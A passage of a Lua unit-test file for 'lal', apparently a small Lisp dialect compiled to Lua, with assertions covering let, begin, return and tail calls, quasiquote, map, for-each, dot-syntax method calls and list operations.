assert_error('Bad.*lambda.*symbol.*list', [[(lambda 10 20)]]) assert_error('Bad.*lambda', [[(lambda (x))]]) end function oT:testLet() assert_eq(30, lal_eval '(let ((a 5) (b 20)) (set! a (* 2 a)) (+ a b))') end function oT:testDo() assert_eq(32, lal_eval '(begin (define x 10) (define y 20) (+ x y 2))') assert_eq(32, lal_eval '(begin (begin (define x 10)) (define y 20) (+ x y 2))') assert_eq(32, lal_eval '(begin (begin (define x 10) (define y 20) 44) (begin (+ x y 2) (+ x y 2)))') assert_eq(32, lal_eval '(begin (begin (define x 10) (define y (begin 44 20)) 44) (begin (+ x y 2)))') assert_eq(32, lal_eval '(begin (begin (define x 10) (define y 20) 44) (begin (+ x y 2)))') end function oT:testReturn() assert_eq(20, lal_eval [[ (begin (define x 10) (return 20) 30 ) ]]) end function oT:testReturnAnyWhere() assert_lal('9', [[ { b: 20 a: (return 9) x: 22 } ]]) assert_eq(10, lal_eval [[ (list? (return 10)) ]]) assert_eq(11, lal_eval [[ (empty? (return 11)) ]]) assert_eq(12, lal_eval [[ (define-global ff (return 12)) ]]) assert_eq(12, lal_eval [[ (define ff2 (return 12)) ]]) assert_eq(13, lal_eval [[ (begin (define ff2 12) (set! ff2 (return 13))) ]]) assert_eq(14, lal_eval [[ ((return 14) 22) ]]) assert_eq(16, lal_eval [[ (begin (define x 2) ((lambda () 2) ((lambda () (set! x 16))) (return x))) ]]) assert_eq(15, lal_eval [[ (begin (define x 1) (+ ((lambda () (set! x 15))) (return x))) ]]) assert_eq(31, lal_eval [[ (begin (define x 1) (define y 2) (+ ((lambda () (set! y 16))) (+ ((lambda () (set! x 15))) (return (+ x y))))) ]]) assert_eq(42, lal_eval [[ (begin (let ((a 10) (b 20)) b) (let ((c 30)) (let ((k 32) (j (return (+ k 10)))))) 44) ]]) assert_eq(43, lal_eval [[ (let ((x 11)) (let ((if (= (set! x 43) (return x)))) 12) x) ]]) assert_eq(44, lal_eval [[ (if #t (return 44)) ]]) assert_eq(45, lal_eval [[ (if #f 10 (return 45)) ]]) assert_eq(46, lal_eval [[ (begin (import (lua basic)) (define X 10) (. concat lua-table (set! X 46) (return X))) ]]) assert_eq(47, lal_eval [[ (begin (define X 10) (. (set! X 47) (return X))) ]]) end function oT:testLetWOBody() assert_eq(nil, lal_eval [[ (let ((i 1))) ]]) end function oT:testLetEmpty() assert_eq(nil, lal_eval [[ (let ()) ]]) end function oT:testReturnInLetBody() assert_eq(43, lal_eval [[ (begin (let ((c 30)) (return 43) (+ 20 30))) ]]) end function oT:testReturnFromFn() assert_eq(44, lal_eval [[ (begin (define o 10) (let ((f (lambda (a) (return (+ o a)) 99))) (f 34))) ]]) end function oT:testIf() assert_eq(55, lal_eval [[ (if (> 1 0) 55 44) ]]) end function oT:testIfOneBranch() assert_eq(44, lal_eval [[ (if (> 1 0) 44) ]]) end function oT:testIfOneBranchFalse() assert_eq(nil, lal_eval [[ (if (> 0 1) 44) ]]) end function oT:testIfReturn() assert_eq(11, lal_eval [[ (if (> 1 0) (return 11) 12) ]]) end function oT:testIfFalseReturn() assert_eq(12, lal_eval [[ (if (> 0 1) (return 11) (return 12)) ]]) end function oT:testLuaTOC() assert_eq(1000000, lal_eval [[ (let ((sum (lambda (x) (if (>= x 1000000) (return x) (return (sum (+ x 1))))))) (sum 0)) ]]) end function oT:testLuaTOCWithLetS() assert_eq(1000000, lal_eval [[ (let ((sum (lambda (x) (if (>= x 1000000) (let ((y x)) (return y)) (let ((k x)) (return (sum (+ k 1)))))))) (sum 0)) ]]) end function oT:testBool() assert_lal('nil', [[nil]]) assert_eq(123, lal_eval [[(if #t 123 321)]]) assert_eq(321, lal_eval [[(if #f 123 321)]]) assert_eq(true, lal_eval [[#t]]) end function oT:testQuotedList() assert_lal('(1 2 3 4)', [[ [1 2 3 4] ]]) assert_lal('()', [[ [ ] ]]) assert_lal('((1) (2))', [[ [ [1] [2] ] ]]) end function oT:testOpsAsFn() assert_eq(10, lal_eval [[(let ((x +)) (x 1 2 3 4))]]) assert_eq(24, lal_eval [[(let ((x *)) (x 2 3 4))]]) assert_eq(2, lal_eval [[(let ((x /)) (x 4 2))]]) assert_eq(1, lal_eval [[(let ((x -)) (x 4 2 1))]]) assert_eq(-1, lal_eval [[(let ((x -)) (x 0 1))]]) assert_eq(10, lal_eval [[(+ 1 2 3 4)]]) assert_eq(24, lal_eval [[(* 2 3 4)]]) assert_eq(2, lal_eval [[(/ 4 2)]]) assert_eq(1, lal_eval [[(- 4 2 1)]]) assert_eq(true, lal_eval [[(> 4 2)]]) assert_eq(false, lal_eval [[(> 4 4)]]) assert_eq(false, lal_eval [[(> 2 4)]]) assert_eq(false, lal_eval [[(< 4 2)]]) assert_eq(false, lal_eval [[(< 4 4)]]) assert_eq(true, lal_eval [[(let ((k >)) (k 4 2))]]) assert_eq(false, lal_eval [[(let ((k <)) (k 4 2))]]) assert_eq(true, lal_eval [[(let ((k >=)) (k 4 2))]]) assert_eq(false, lal_eval [[(let ((k <=)) (k 4 2))]]) end function oT:testOpErrors() assert_error('Operator %/.*expects.*2.*got.*3', '(/ 1 2 3)') assert_error('Operator %<.*expects.*2.*got.*3', '(< 1 2 3)') assert_error('Operator %>.*expects.*2.*got.*3', '(> 1 2 3)') assert_error('Operator %<.*expects.*2.*got.*3', '(<= 1 2 3)') assert_error('Operator %>.*expects.*2.*got.*3', '(>= 1 2 3)') end function oT:testSimpleArith() assert_lal('3', [[(+ 1 2)]]) assert_lal('11', [[(+ 5 (* 2 3))]]) assert_lal('8', [[(- (+ 5 (* 2 3)) 3)]]) if (_VERSION == "Lua 5.3") then assert_lal('2.0', [[(/ (- (+ 5 (* 2 3)) 3) 4)]]) assert_lal('2', [[(// (- (+ 5 (* 2 3)) 3) 4)]]) assert_lal('2565.0', [[(/ (- (+ 515 (* 222 311)) 302) 27)]]) assert_lal('2565', [[(// (- (+ 515 (* 222 311)) 302) 27)]]) else assert_lal('2', [[(/ (- (+ 5 (* 2 3)) 3) 4)]]) assert_lal('2', [[(// (- (+ 5 (* 2 3)) 3) 4)]]) assert_lal('2565', [[(/ (- (+ 515 (* 222 311)) 302) 27)]]) assert_lal('2565', [[(// (- (+ 515 (* 222 311)) 302) 27)]]) end end function oT:testIfBool() assert_lal('10', [[(if #true 10 20)]]) assert_lal('20', [[(if #false 10 20)]]) assert_lal('nil', [[(if #false 10)]]) assert_lal('10', [[(if #true 10)]]) assert_lal('nil', [[(if #false)]]) assert_lal('nil', [[(if #true)]]) assert_lal('7', [[(if #true 7 8)]]) assert_lal('8', [[(if #false 7 8)]]) assert_lal('8', [[(if #true (+ 1 7) (+ 1 8))]]) assert_lal('9', [[(if #false (+ 1 7) (+ 1 8))]]) assert_lal('8', [[(if nil 7 8)]]) assert_lal('7', [[(if 0 7 8)]]) assert_lal('7', [[(if "" 7 8)]]) assert_lal('7', [[(if (list) 7 8)]]) assert_lal('7', [[(if (list 1 2 3) 7 8)]]) end function oT:testBasicData() assert_lal('(1 2 3)', [[ [1 2 (+ 1 2)] ]]) assert_lal('{"a" 15}', [[{a: (+ 7 8)}]]) assert_lal('{"a" 15}', [[{(let ((x a:)) x) (+ 7 8)}]]) assert_lal('{"x" 15}', [[{(quote x) (+ 7 8)}]]) end function oT:testDef() assert_lal('3', [[(define x 3)]]) assert_lal('3', [[(begin (define x 3) x)]]) assert_lal('4', [[(begin (define x 3) (define x 4) x)]]) assert_lal('8', [[(begin (define y (+ 1 7)) y)]]) assert_lal('13', [[(define y 13)]]) end function oT:testLet2() assert_lal('9', [[(let ((z 9)) z)]]) assert_lal('9', [[(let ((x 9)) x)]]) assert_lal('6', [[(let ((z (+ 2 3))) (+ 1 z))]]) assert_lal('12', [[(let ((p (+ 2 3)) (q (+ 2 p))) (+ p q))]]) assert_lal('9', [[(let ((q 9)) q)]]) assert_lal('4', [[(begin (define a 4) (let ((q 9)) a))]]) assert_lal('4', [[(begin (define a 4) (begin (let ((z 2)) (let ((q 9)) a))))]]) assert_lal('12', [[(let ((p (+ 2 3)) (q (+ 2 p))) (+ p q))]]) assert_lal('10', [[(let ((x 10)) (begin (let ((x 20)) x) x))]]) end function oT:testLetList() assert_lal('(3 4 5 (6 7) 8)', [[(let ((a 5) (b 6)) [3 4 a [b 7] 8])]]) assert_lal('(3 4 5 (6 7) 8)', [[(let ((a 5) (b 6) (lst list)) (lst 3 4 a [b 7] 8))]]) end function oT:testKeyword() assert_lal('kw:', [[kw:]]) assert_lal('(kw: kw: kw:)', [['(kw: kw: kw:)]]) end function oT:testList() assert_lal('()', [[(list)]]) assert_lal('(1 2 3)', [[(list 1 2 3)]]) assert_lal('(+ 1 2)', [[ ['+ 1 2] ]]) assert_lal('((3 4))', [[ [ [3 4] ] ]]) assert_lal('(+ 1 (+ 2 3))', [[ ['+ 1 ['+ 2 3] ] ]]) assert_lal('(+ 1 (+ 2 3))', [[ [ '+ 1 ['+ 2 3 ] ] ]]) end function oT:testQuote() assert_lal('(+ 1 2)', [['(+ 1 2)]]) assert_lal('((3 4))', [['((3 4))]]) assert_lal('(+ 1 (+ 2 3))', [['(+ 1 (+ 2 3))]]) assert_lal('(+ 1 (+ 2 3))', [[ ' ( + 1 (+ 2 3 ) )]]) assert_lal('(* 1 2)', [['(* 1 2)]]) assert_lal('(** 1 2)', [['(** 1 2)]]) assert_lal('(1 2 3)', [['(1 2 3)]]) assert_lal('(quote 1)', [[''1]]) assert_lal('(quote (1 2 3))', [[''(1 2 3)]]) assert_lal('7', [[(quote 7)]]) assert_lal('7', [['7]]) assert_lal('(1 2 3)', [[(quote (1 2 3))]]) assert_lal('(1 2 3)', [['(1 2 3)]]) assert_lal('(1 2 (3 4))', [[(quote (1 2 (3 4)))]]) assert_lal('(1 2 (3 4))', [['(1 2 (3 4))]]) assert_lal('(10)', [[(quote (10))]]) end function oT:testLength() assert_error('attempt.*length.*nil', [[(length nil)]]) -- does not work, nil != {} assert_lal('3', [[(length (list 1 2 3))]]) assert_lal('0', [[(length (list))]]) assert_lal('"no"', [[(if (> (length (list 1 2 3)) 3) "yes" "no")]]) assert_lal('"yes"', [[(if (>= (length (list 1 2 3)) 3) "yes" "no")]]) assert_lal('4', '(begin (let ((c length)) (c [1 2 3 (define x 20)])))') end function oT:testUnusedRetValsAndBuiltins() assert_lal('20', '(begin (length [1 2 3 (define x 20)]) x)') assert_lal('20', '(begin [1 2 3 (define x 20)] x)') end function oT:testPredicates1() assert_lal('#true', [[(list? (list))]]) assert_lal('#true', [[(let ((x list?)) (x (list)))]]) assert_lal('#false', [[(list? { a: 1 })]]) assert_lal('#false', [[(let ((x list?)) (x { a: 1 }))]]) assert_lal('#true', [[(empty? (list))]]) assert_lal('#false', [[(empty? (list 1))]]) assert_lal('#true', [[(empty? {})]]) assert_lal('#false', [[(empty? {a: 1})]]) assert_lal('#true', [[(let ((x empty?)) (x (list)))]]) assert_lal('#false', [[(let ((x empty?)) (x (list 1)))]]) assert_lal('#true', [[(let ((x empty?)) (x {}))]]) assert_lal('#false', [[(let ((x empty?)) (x {a: 1}))]]) -- assert_lal('#false', [[(= (list) nil)]]) end function oT:testPrStrRdStr() assert_eq('(1 2 3)', lal_eval [[(write-str (list 1 2 3))]]) assert_eq('{\"a\" 1}', lal_eval [[(write-str {a: 1})]]) assert_eq('{\"a\" 1}', lal_eval [[(write-str {"a" 1})]]) assert_eq('{\"a:\" 1}', lal_eval [[(write-str {"a:" 1})]]) assert_eq('{(1 2 3) (4 5 6)}', lal_eval [[(write-str {'(1 2 3) '(4 5 6)})]]) assert_eq('(1.1 2.02 3.003)', lal_eval [[(write-str '(1.1 2.02 3.003))]]) assert_eq('3.003', lal_eval [[(write-str 3.003)]]) assert_eq('\"foo\"', lal_eval [[(write-str "foo")]]) assert_lal('(1 2 3)', [[(read-str (write-str (list 1 2 3)))]]) assert_lal('{\"a\" 1}', [[(read-str (write-str {a: 1}))]]) assert_lal('{\"a\" 1}', [[(read-str (write-str {"a" 1}))]]) assert_lal('{\"a:\" 1}', [[(read-str (write-str {"a:" 1}))]]) assert_lal('{(1 2 3) (4 5 6)}', [[(read-str (write-str {'(1 2 3) '(4 5 6)}))]]) assert_lal('(1.1 2.02 3.003)', [[(read-str (write-str '(1.1 2.02 3.003)))]]) assert_lal('3.003', [[(read-str (write-str 3.003))]]) assert_lal('\"foo\"', [[(read-str (write-str "foo"))]]) assert_lal('5', [[(eval (read-str "(+ 2 3)"))]]) end function oT:testEval() assert_lal('(1 2 3)', [[(eval '(list 1 2 3))]]) assert_lal('(33 x:)', [[(eval '(let ((a 33) (b x:)) (list a b)))]]) end function oT:testEQ() assert_lal('#true', [[(= 1 1)]]) assert_lal('#true', [[(= 'abc 'abc)]]) assert_lal('#false', [[(= 'abc 'abcd)]]) assert_lal('#false', [[(= 'abc "abc")]]) assert_lal('#false', [[(= "abc" 'abc)]]) end function oT:testFunctionDef() assert_lal('12', [[ (( (lambda (a) (lambda (b) (+ a b))) 5) 7)]]) assert_lal('12', [[ (begin (define gen-plus5 (lambda () (lambda (b) (+ 5 b)))) (define plus5 (gen-plus5)) (plus5 7))]]) assert_lal('15', [[ (begin (define gen-plusX (lambda (x) (lambda (b) (+ x b)))) (define plus7 (gen-plusX 7)) (plus7 8))]]) -- recursion: assert_lal('(1 3 21)', [[ (begin (define sumdown (lambda (N) (if (> N 0) (+ N (sumdown (- N 1))) 0))) [ (sumdown 1) (sumdown 2) (sumdown 6) ])]]) end function oT:testTailIf() assert_lal('49', [[ (if (return 49) 10 11) ]]) assert_lal('50', [[ (begin (define x 50) (return x)) ]]) assert_lal('51', [[ (begin (define x 51) x) ]]) assert_lal('51', [[ (begin (define x 51) (if #true (return x))) ]]) assert_lal('51', [[ (begin (define x 51) (if #true x)) ]]) assert_lal('51', [[ (begin (define x 51) (if #false #false (return x))) ]]) assert_lal('51', [[ (begin (define x 51) (if #false #false x)) ]]) assert_lal('51', [[ (begin (define x 51) (return (if #false #false (return x)))) ]]) assert_lal('51', [[ (begin (define x 51) (return (if #false #false x))) ]]) -- testing effect of outer return: assert_lal('51', [[ (return (begin (define x 51) (if #true (return x)))) ]]) assert_lal('51', [[ (return (begin (define x 51) (if #true x))) ]]) assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f (return x))))) ]]) assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f x)))) ]]) -- testing proper output ignore & TCO creation by (return ...): assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f (return x))) 55)) ]]) assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f x)) 55)) ]]) -- testing let TCO: assert_lal('61', [[ (let ((a (lambda (x) (+ x 10)) ) (b 51)) (a b)) ]]) assert_lal('61', [[ (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (a b)) ]]) assert_lal('61', [[ (let ((a (lambda (x) (+ x 10)) ) (b 51)) (return (a b))) ]]) assert_lal('61', [[ (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (return (a b))) ]]) assert_lal('61', [[ (return (let ((a (lambda (x) (+ x 10)) ) (b 51)) (a b))) ]]) assert_lal('61', [[ (return (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (a b))) ]]) assert_lal('61', [[ (return (let ((a (lambda (x) (+ x 10)) ) (b 51)) (return (a b)))) ]]) assert_lal('61', [[ (return (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (return (a b)))) ]]) -- testing recursive algorithm definition: assert_lal('500000500000', [[ (begin (define sum2 (lambda (n acc) (if (= n 0) (return acc) (return (sum2 (- n 1) (+ n acc)))))) (define res2 (sum2 1000000 0)) res2)]]) -- testing tail of (begin ...) assert_lal('500000500000', [[ (begin (define sum2 (lambda (n acc) (if (= n 0) (return (begin acc)) (return (begin (sum2 (- n 1) (+ n acc))))))) (define res2 (sum2 1000000 0)) res2)]]) -- testing implicit tail of (if ...) assert_lal('500000500000', [[ (begin (define sum2 (lambda (n acc) (if (= n 0) acc (sum2 (- n 1) (+ n acc))))) (define res2 (sum2 1000000 0)) res2)]]) end function oT:testConsConcat() assert_lal('(1)', [[(cons 1 (list))]]) assert_lal('(1 2)', [[(cons 1 (list 2))]]) assert_lal('(1 2 3)', [[(cons 1 (list 2 3))]]) assert_lal('((1) 2 3)', [[(cons (list 1) (list 2 3))]]) assert_lal('()', [[(concat)]]) assert_lal('(1 2)', [[(concat (list 1 2))]]) assert_lal('(1 2 3 4)', [[(concat (list 1 2) (list 3 4))]]) assert_lal('(1 2 3 4 5 6)', [[(concat (list 1 2) (list 3 4) (list 5 6))]]) assert_lal('()', [[(concat (concat))]]) assert_lal('(1 2 3)', [[(cons! 1 (list 2 3))]]) assert_lal('((1) 2 3)', [[(cons! (list 1) (list 2 3))]]) assert_lal('()', [[(concat!)]]) assert_lal('(1 2 3 4 5 6)', [[(concat! (list 1 2) (list 3 4) (list 5 6))]]) assert_lal('(2 3)', [[(let ((x (list 2 3))) (cons 1 x) x)]]) assert_lal('(1 2 3)', [[(let ((x (list 2 3))) (cons! 1 x) x)]]) assert_lal('(2 3)', [[(let ((x (list 2 3))) (concat x '(1)) x)]]) assert_lal('(2 3 1)', [[(let ((x (list 2 3))) (concat! x '(1)) x)]]) end function oT:testDefGlobal() assert_eq(table, lal_eval [[(begin (import (lua basic)) lua-table)]]) assert_lal('(1 2 3)', [[(concat! (let ((x 1)) (define-global y 2) [x]) [y 3])]]) -- TODO! -- assert_eq(table, lal_eval([[t]], { t = table })) end function oT:testDotSyntax() assert_lal('"foo"', [[ (begin (import (lua string)) (lua-string-sub "foobar" (+ 0 1) 3))]]) assert_lal('"foo"', [[ (begin (import (lua basic)) (let ((y 'sub)) (.(begin y) lua-string "foobar" (+ 0 1) 3)))]]) assert_lal('(1 2 3)', [[ (begin (import lua-basic) (let ((List (lua-require "lal.util.list"))) (let ((L (List))) (..push L 1) (..push L 2) (..push L 3) (..table L))))]]) assert_lal('(1 2 3)', [[ (begin (import lua-basic) (let ((List (lua-require "lal.util.list"))) (let ((L (List))) (..(begin 'push) L 1) (..(begin 'push) L 2) (..(begin 'push) L 3) (..table L))))]]) assert_lal('(10 (1 9 4))', [[ (let ((x ())) ($!a: x 10) ($!b: x [1 (* 3 3) 4]) [($a: x) ($b: x)]) ]]) assert_lal('(1 9 4)', [[ (let ((y (let ((x ())) ($!a: x 10) ($!b: x [1 (* 3 3) 4])))) y) ]]) assert_lal('("x" "y" "m")', [[ (let ((m {a:: "m" a: "x" 'b "y"})) [($a: m) ($b: m) ($a:: m)]) ]]) assert_lal('("x" "y" "m")', [[ (let ((K $)) (let ((m {a:: "m" a: "x" 'b "y"})) [(K a: m) (K b: m) (K a:: m)])) ]]) assert_lal('("x" "y" "m")', [[ (let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin (when #t "a")) m) ($oop m) ($a:: m)]) ]]) assert_lal('("x" "y" "m")', [[ (let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin (when #t a:)) m) ($oop m) ($a:: m)]) ]]) assert_lal('("x" "y" "m")', [[ (let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin a:) m) ($oop m) ($a:: m)]) ]]) assert_lal('942', [[ (let ((obj { print-hello: (lambda (a) (+ 932 a)) })) (.print-hello obj 10)) ]]) assert_lal('943', [[ (let ((obj { print-hello: (lambda (self a) (+ 933 a)) })) (..print-hello obj 10)) ]]) assert_lal('944', [[ (let ((obj { "print hello" (lambda (a) (+ 934 a)) })) (. "print hello" obj 10)) ]]) assert_lal('945', [[ (let ((obj { "print hello" (lambda (self a) (+ 935 a)) })) (.. "print hello" obj 10)) ]]) end function oT:testSideeffectIgnore() assert_lal('0', [[ (begin '1 0) ]]) assert_lal('0', [[ (begin (lambda (x) x) 0) ]]) assert_lal('0', [[ (begin (+ 1 2) 0) ]]) assert_lal('0', [[ (begin (list? []) 0) ]]) assert_lal('0', [[ (begin (begin ($x: {x: 10}) y:) (list? []) 0) ]]) assert_lal('(1 2 3 4)', [[ (begin (import (lua basic)) (define x [1 2 3]) [(let ((m 10)) (list? (.insert lua-table x 4)) (define y m))] x) ]]) end function oT:testValueEvaluation() assert_lal('10', [[10]]) assert_lal('nil', [[nil]]) assert_lal('#true', [[#t]]) assert_lal('#true', [[#true]]) assert_lal('#false', [[#false]]) assert_lal('#false', [[#f]]) assert_lal('1', [[1]]) assert_lal('7', [[7]]) assert_lal('7', [[ 7]]) assert_lal('+', [['+]]) assert_lal('abc', [['abc]]) assert_lal('abc', [[ 'abc]]) assert_lal('abc5', [['abc5]]) assert_lal('abc-def', [['abc-def]]) assert_lal('"abc"', [["abc"]]) assert_lal('"abc"', [[ "abc"]]) assert_lal('"abc (with parens)"', [["abc (with parens)"]]) assert_lal('"abc\\"def"', [["abc\"def"]]) assert_lal('""', [[""]]) assert_lal('{"abc" 1}', [[{"abc" 1}]]) assert_lal('{"a" {"b" 2}}', [[{"a" {"b" 2}}]]) assert_lal('{"a" {"b" {"c" 3}}}', [[{"a" {"b" {"c" 3}}}]]) assert_lal('{"a" {"b" {"cde" 3}}}', [[{ "a" {"b" { "cde" 3 } }}]]) assert_lal('{"a" {"b" {"cde" 3}}}', [[{ a: {b: { cde: 3 } }}]]) assert_lal('{"f" f:}', [[{ 'f f: }]]) end function oT:testQuasiquote() assert_lal('7', [[(quasiquote 7)]]) assert_lal('7', [[`7]]) assert_lal('(1 2 3)', [[(quasiquote (1 2 3))]]) assert_lal('(1 2 3)', [[`(1 2 3)]]) assert_lal('(1 2 (3 4))', [[(quasiquote (1 2 (3 4)))]]) assert_lal('(1 2 (3 4))', [[`(1 2 (3 4))]]) assert_lal('7', [[`,7]]) assert_lal('(a 8)', [[(begin (define a 8) [`a `,a])]]) assert_lal('(1 (1 2 4 9 8 7 3) 2 3 4 (101 200 201) 90 100 101 x)', [[ (begin (define x 101) `(1 `(1 2 ,(+ 2 2) ,@(list 9 8 7) 3) ,@(list 2 3 (+ 1 3)) ,[x 200 201] 90 100 ,x x)) ]]) assert_lal('(1 a 3)', [[(let ((a 8)) `(1 a 3))]]) assert_lal('(1 8 3)', [[(let ((a 8)) `(1 ,a 3))]]) assert_lal('(1 "b" "d")', [[(define b '(1 "b" "d"))]]) assert_lal('(1 b 3)', [[`(1 b 3)]]) assert_lal('(1 (1 "b" "d") 3)', [[ (begin (define b '(1 "b" "d")) `(1 ,b 3)) ]]) assert_lal('(1 c 3)', [[ (begin (define c '(1 "b" "d")) `(1 c 3))]]) assert_lal('(1 1 "b" "d" 3)', [[ (begin (define c '(1 "b" "d")) `(1 ,@c 3)) ]]) assert_lal('(6 21 6)', [[ (begin (define l (lambda (x) (+ x 1))) (define k (l 5)) (define m `(begin (define k 20) (+ 1 k))) [k (eval m) k]) ]]) assert_lal('(12 13)', [[ (begin (define F 12) (define L (let ((x 10) (y 23)) (begin (define F 13) x F))) `(,F ,L))]]) -- Following test are taken from R4RS-Tests of SCM: assert_lal('(list 3 4)', '`(list ,(+ 1 2) 4)') assert_lal('(list a (quote a))', [[(let ((name 'a)) `(list ,name ',name))]]) assert_lal('(a 3 4 5 6 b)', [[ (begin (import lua-math) `(a ,(+ 1 2) ,@(map lua-math-abs '(4 -5 6)) b)) ]]) assert_lal('5', "`,(+ 2 3)") assert_lal('(quasiquote (list (unquote (+ 1 2)) 4))', "'(quasiquote (list (unquote (+ 1 2)) 4))") --(test '#(10 5 2 4 3 8) 'quasiquote `#(10 5 ,(sqt 4) ,@(map sqt '(16 9)) 8)) --(test '(a `(b ,(+ 1 2) ,(foo 4 d) e) f) -- 'quasiquote `(a `(b ,(+ 1 2) ,(foo ,(+ 1 3) d) e) f)) --(test '(a `(b ,x ,'y d) e) 'quasiquote -- (let ((name1 'x) (name2 'y)) `(a `(b ,,name1 ,',name2 d) e))) --(test '(list 3 4) 'quasiquote (quasiquote (list (unquote (+ 1 2)) 4))) end function oT:testMap() assert_lal('("1" "2" "3" "4")', [[ (begin (import lua-basic) (define str lua-tostring) (map str '(1 2 3 4)))]]) -- compiled map variants: assert_lal('((1 1 1) (2 2 2) (3 3 3) (4 4) (5))', [[ (map (lambda (a b c) [a b c]) [1 2 3 4 5] [1 2 3 4] [1 2 3]) ]]) assert_lal('((2) (4) (6) (8) (10))', [[ (map (lambda (a) [(* 2 a)]) [1 2 3 4 5]) ]]) assert_lal('(1)', [[(map (lambda () 1) '(2))]]) -- next test the function variants of map: assert_lal('((1 1 1) (2 2 2) (3 3 3) (4 4) (5))', [[ (let ((x map)) (x (lambda (a b c) [a b c]) [1 2 3 4 5] [1 2 3 4] [1 2 3])) ]]) assert_lal('((2) (4) (6) (8) (10))', [[ (let ((x map)) (x (lambda (a) [(* 2 a)]) [1 2 3 4 5])) ]]) assert_error('Bad.*2 argum', [[ (map) ]]) assert_error('Bad.*2 argum', [[ (map (lambda () 10)) ]]) -- Map as function has no error checking yet, handled by lua: assert_lal('(1)', [[ (let ((x map)) (x (lambda () 1))) ]]) assert_lal('(1 3 6 10)', [[ (let ((sum 0)) (map (lambda (x) (set! sum (+ sum x))) '(1 2 3 4))) ]]) assert_lal('((1 x) (2 y))', [[ (map (lambda (a b) [a b]) '(1 2) '(x y)) ]]) end function oT:testForEach() -- compiled for-each variants: assert_lal('(1 1 1 2 2 2 3 3 3 4 4 5)', [[ (let ((out [])) (for-each (lambda (a b c) (append! out [a b c])) [1 2 3 4 5] [1 2 3 4] [1 2 3]) out) ]]) -- next test the function variants of for-each: assert_lal('(15 24 6)', [[ (for-each (lambda (a) [(* 2 a)]) [1 2 3 4 5]) (let ((y 0) (y2 0) (y3 0) (f (lambda (x) (set! y (+ x y)))) (f2 (lambda (x) (set! y2 (+ x y2)))) (f3 (lambda (x) (set! y3 (+ x y3))))) (for-each for-each [f f2 f3] [[4 5 6] [8 8 8] [1 2 3] ]) [y y2 y3]) ]]) assert_lal('nil', [[(for-each (lambda () 1) '(2))]]) assert_lal('29', [[ (let ((x for-each) (y 0)) (x (lambda (a) (set! y a)) [29]) y) ]]) assert_error('Bad.*2 argum', [[ (for-each) ]]) assert_error('Bad.*2 argum', [[ (for-each (lambda () 10)) ]]) assert_lal('10', [[ (let ((sum 0)) (for-each (lambda (x) (set! sum (+ sum x))) '(1 2 3 4)) sum) ]]) assert_lal('(1 x 2 y)', [[ (let ((out [])) (for-each (lambda (a b) (append! out [a b])) '(1 2) '(x y)) out) ]]) end function oT:testAt() assert_lal('1', [[ (@0 [1 2 3 4]) ]]) assert_lal('3', [[ (@2 [1 2 3 4]) ]]) assert_lal('(1 5 3)', [[ (let ((x [1 2 3])) (@!1 x 5) [(@0 x) (@1 x) (@2 x)]) ]]) assert_lal('(1 5 3)', [[ (let ((x [1 2 3]) (i 1)) (@!i x 5) [(@0 x) (@i x) (@2 x)]) ]]) assert_lal('(1 2)', [[ (let ((x [])) (@! 0 x 1) (@! 1 x 2) x) ]]) assert_lal('13', [[ (@ (return 13) [1 2 3]) ]]) assert_lal('14', [[ (@1 (return 14)) ]]) assert_lal('15', [[ (@13 [1 2 (return 15)]) ]]) assert_lal('16', [[ (@! (return 16) [1 2 3] 99) ]]) assert_lal('17', [[ (@!1 (return 17) 99)]]) assert_lal('18', [[ (@! 13 [1 2 (return 18)] 99) ]]) assert_lal('22', [[ (@!4 [] 22) ]]) -- Weird case, due to Luas braindamaged Tables: assert_lal('{5 22}', [[ (let ((x [])) (@!4 x 22) x) ]]) end function oT:testDefineFun() assert_lal('213', [[ (begin (define (x a b) (define y 100) (+ (* y a) b)) (x 2 13)) ]]) -- and some other minor lambda syntaxes: assert_lal('4000', [[ ((lambda x (* 200 (@1 x))) #t 20) ]]) assert_lal('4000', [[ ((lambda (a . x) (* 200 (@0 x))) #t 20) ]]) assert_lal('4000', [[ ((lambda (x) (* 200 x)) 20) ]]) assert_lal('5000', [[ (begin (define (a . x) (@1 x)) (a 1 5000 3)) ]]) assert_lal('(1 5001)', [[ (begin (define (a l . x) [ l (@1 x) ]) (a 1 2 5001 3)) ]]) end function oT:testWhenUnlessNot() assert_lal('11', [[ (let ((x 0)) (set! x 2) (when (> x 1) (set! x 11) x)) ]]) assert_lal('12', [[ (let ((x 0)) (set! x 2) (unless (< x 1) (set! x 12) x)) ]]) assert_lal('nil', [[ (let ((x 0)) (set! x 2) (when (< x 1) (set! x 11) x)) ]]) assert_lal('nil', [[ (let ((x 0)) (set! x 2) (unless (> x 1) (set! x 12) x)) ]]) assert_lal('#false', [[ (not #true) ]]) assert_lal('4613732', [[ (begin (define (fibonacci-seq prev-1 prev-2 func) (let ((fib-num (+ prev-1 prev-2))) (unless (func fib-num) (return fib-num)) (fibonacci-seq prev-2 fib-num func))) (let ((sum 0)) (fibonacci-seq 1 1 (lambda (fib-num) (when (= (% fib-num 2) 0) (set! sum (+ sum fib-num))) (< fib-num 4000000))) sum)) ]]) end function oT:testFor() assert_lal('(1 2 3 4)', [[ (let ((l (list))) (for (x 1 4) (concat! l [x])) l) ]]) assert_lal('(1 3 5 7)', [[ (let ((l (list))) (for (x 1 8 2) (concat! l [x])) l) ]]) assert_lal('123', [[ (let ((l (list))) (for (x 123 333 2) (return x)) l) ]]) assert_lal('11', [[ (let ((l (list))) (for (x (return 11) 8 2) (return x)) l) ]]) end function oT:testDoEach() assert_lal('11', [[ (let ((x 0)) (do-each (v '(2 2 3 4)) (set! x (+ x v))) x) ]]) assert_lal('22', [[ (let ((x 0)) (do-each (k v { a: 10 b: 12 }) (set! x (+ x v))) x) ]]) assert_lal('("a" 10)', [[ (do-each (k v { a: 10 }) (return [k v])) ]]) assert_lal('23', [[ (do-each (k v { a: (return 23) b: 12 }) (return [k v])) ]]) end function oT:testPredicates2() assert_lal('#true', [[ (symbol? 'x) ]]) assert_lal('#false', [[ (symbol? x:) 